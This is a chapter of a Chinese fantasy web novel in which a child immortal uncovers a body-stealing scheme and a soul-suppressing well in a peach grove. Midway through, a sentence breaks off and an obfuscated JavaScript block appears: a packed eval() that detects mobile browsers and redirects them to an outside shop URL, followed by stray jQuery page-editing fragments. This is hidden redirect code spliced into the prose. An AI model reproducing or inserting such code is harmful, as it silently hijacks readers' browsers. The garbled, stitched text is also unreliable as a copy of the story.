丫鬟、打手们,都是身手极好之人。他们眼瞧着两位主子竟然往回走,便也轻手轻脚地一路护送着。
小金昭钻到窗台下,便竖起耳朵偷听。
金玥帆眼见着小女儿竟想偷听,心下觉得此举不妥,有心想拉她离开。
却又想起小金昭先前成熟、有心计的分析,她知晓小金昭不同于一般顽劣儿童。
忽而折回偷听,定有她的道理。
金玥帆决定相信小金昭的判断。倘若听到不该听的声音,再将女儿拉走也不迟。
于是,金玥帆母女,连同丫鬟、打手一众人等,趴在汲暖阁外墙角处,听着内里的动静。
汲暖阁内。
柳眉抬眼便斜瞅着叶志勤,冷言冷语道:
“好你个叶志勤,你不是对金玥帆一片痴心吗?”
“当初你同我说得多好听,说即便娶了她进门,我也始终是你的唯一。”
“如今我便站在你面前了。金玥帆要将我送给你,你还心不甘、情不愿。你、你竟然当着我的面,向金玥帆表白?”
“真是不知羞耻,你也不看看人家金玥帆,人家可有多看你一眼?”
叶志勤今晚本就吃了一肚子窝囊气,眼下又被柳眉阴阳怪气地嘲讽。
他心里也不舒坦,在房间里来回踱步几番,便站立于床边,语气不耐地解释道:
“婉宁,你少说两句。你没见为夫,已经够憋屈了吗?”
墙角处。小金昭和金玥帆皆是心中一惊,便不约而同地对视了一眼。
婉宁?那不是叶志勤的亡妻吗?叶志勤因何会称呼柳眉为婉宁?
汲暖阁内。
苏婉宁一脸不甘地看着站在床边的叶志勤,又看着床头那一对崭新的瓷枕,不由得悲从中来。
她指着一脸不耐的男人,颤声道:
“叶志勤,你是不是变心了?!”
叶志勤心里早就烦的不行了,这会儿被苏婉宁一顿指责,便也发起了脾气:
“你没事找事地朝我凶什么凶?当初不是你出的主意,让我去求娶金玥帆那个寡妇的吗?”
“怎么,是你自己对柳眉用的夺舍之术。如今你后悔了,便反要来怪我变心?”
苏婉宁本就心中委屈,又被叶志勤吼了两嗓子,她心中火气一下子便压不住了。
遂愤怒地跑到床边,抓起那一对刺眼的鸳鸯瓷枕,便狠狠朝地上砸去。
“哐当!”声响。大小不一的瓷器碎片,溅散一地。
墙角处。小金昭用天眼看着那根棺材钉,从瓷枕内摔出来。
她便伸出小胖手一指,将那枚棺材钉瞬移进自己的锦囊内。
汲暖阁内。
叶志勤眼瞧着刚刚买来的新瓷枕,一次都还没用过,便被摔得粉碎。
他心里也火大,但不想跟苏婉宁继续争执,便小声嘀咕了一句“疯婆子”,便拂袖而去。
墙角处。金玥帆听得叶志勤已经离开了汲暖阁,便拉着小金昭的手,用眼神示意她,该回去了。
小金昭没有异议,她已经得到了她想要的东西,便乖顺地点了点头,随着娘亲,一同朝侯府大门处走去。
她在脑海里梳理了一下方才叶志勤和苏婉宁的对话内容。
也就是说五年前,生父阵亡,苏婉宁便开始怂恿叶志勤,来追求娘亲。
为了让叶志勤求娶娘亲,苏婉宁甚至不惜假死夺舍,强占柳眉的躯体,而后化作丫鬟,潜藏在侯府之内。
只有找出真正的柳眉,才能叫苏婉宁魂归本体。
小萌宝金昭摇晃着脑袋,肉嘟嘟的小嘴撅得老高。
亏她一开始还觉得苏婉宁可怜,嫁给忠勇侯这样的人家。
如今仔细想来,苏婉宁和叶志勤,根本就是一路货色。
这魂魄分离之苦,活该她受着,压根儿不值得同情。
不过话说回来。倘若苏婉宁活了,那叶志勤就有妻子了,就没有理由揪着娘亲的姻缘不放了。
那么,真正的柳眉,她的魂魄又被镇压在何处呢?
是侯府中那一片桃林吗?
金玥帆带着小金昭,直接走出了忠勇侯府,依旧歇在侯府西面的西泠轩。
夜里,小金昭等着身边的娘亲睡熟了,才轻手轻脚地离开西泠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548573|204257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轩,钻进忠勇侯府围墙的:狗洞。
爬回侯府。
实在是迫于无奈啊。小小的神仙,法力尚未完全恢复,且受制于孩童身躯。
不过,为了摧毁娘亲和叶志勤的这段孽缘。小金昭能屈能伸,只是爬个狗洞而已,又算什么呢?
而且,用了几天孩童身体,小金昭明显比一开始要灵活许多。
子时,阴阳交替时分。
小小的黑色身影爬上桃树,当她坐在桃树枝丫上,俯瞰全局时,才算看清了。
整片桃林确实按照八卦形状种植排列,而桃林八卦的正中间:
是一个八边形的镇魂井,井盖边缘在月光下隐约可见一丝丝地往外冒着黑气。
周围的土地除了桃树,竟没有长任何一颗小草,真真是寸草不生。就连路过的老鼠,都会自动绕开走。
小金昭眼瞅着那黑气的感觉有点儿眼熟,于是便从锦囊里掏出,那枚被叶志勤藏在瓷枕里的棺材钉。
对比之下,那黑气竟是一模一样。
小金昭还未进行下一步动作,便见一个女子身影由远及近,走进八卦桃林,是苏婉宁。
只见苏婉宁行至镇魂井旁,左手持着匕首,划破右手尾指,将鲜血滴在镇魂井上方的小洞上。
小金昭用天眼看见:
那鲜血顺着井盖上的小洞,流入镇魂井内。
而镇魂井内正中央躺着一名身穿红衣、额头上还钉着一枚镇魂钉的女子。
那鲜血顺着小洞而下,便滴在那名女子唇上。
苏婉宁做完这个动作之后,便面无表情地离去了,仿佛这件事对她来说,早已成习惯。
待苏婉宁走远后,小金昭才慢慢吞吞地从树上爬下来。
这时候,她无比怀念自己的瞬移法术,就这胖墩墩的小短腿,要行动起来,实在是不方便。
黑乎乎的小身影站在镇魂井旁,她知道这里面是什么玄机。
镇魂井里躺着的女人,便是苏婉宁的本体。
而苏婉宁的身体里,困着柳眉的魂魄。
那别人的身体,怎么能骗过柳眉的魂魄呢?